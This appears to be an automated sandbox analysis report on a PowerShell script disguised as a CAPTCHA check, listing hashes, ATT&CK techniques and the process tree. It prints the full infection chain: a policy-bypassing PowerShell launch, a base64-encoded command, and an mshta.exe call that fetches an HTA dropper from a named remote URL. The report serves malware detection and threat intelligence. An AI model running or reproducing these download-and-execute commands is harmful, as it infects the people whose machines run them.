b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

Analysis

max time kernel
420s
max time network
1191s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08/08/2024, 23:15

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General

Target

verify-captcha-987.b-cdn.net.ps1
Size

147B
MD5

461d549b45e71d09f616ea14cf0f46d2
SHA1

eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA256

b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
SHA512

ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	2640	mshta.exe
7	2640	mshta.exe
13	2640	mshta.exe
15	2640	mshta.exe
22	2640	mshta.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2616	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2616	powershell.exe
2616	powershell.exe
2696	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 2696	2616	powershell.exe	87
PID 2616 wrote to memory of 2696	2616	powershell.exe	87
PID 2696 wrote to memory of 2640	2696	powershell.exe	89
PID 2696 wrote to memory of 2640	2696	powershell.exe	89

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\verify-captcha-987.b-cdn.net.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjkongdh.jga.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2616-0-0x00007FFAC63F3000-0x00007FFAC63F5000-memory.dmp

Filesize
8KB

Download
memory/2616-10-0x000001E3E1F20000-0x000001E3E1F42000-memory.dmp

Filesize
136KB

Download
memory/2616-11-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2616-12-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2616-32-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-22-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-23-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-24-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download
memory/2696-27-0x00007FFAC63F0000-0x00007FFAC6EB1000-memory.dmp

Filesize
10.8MB

Download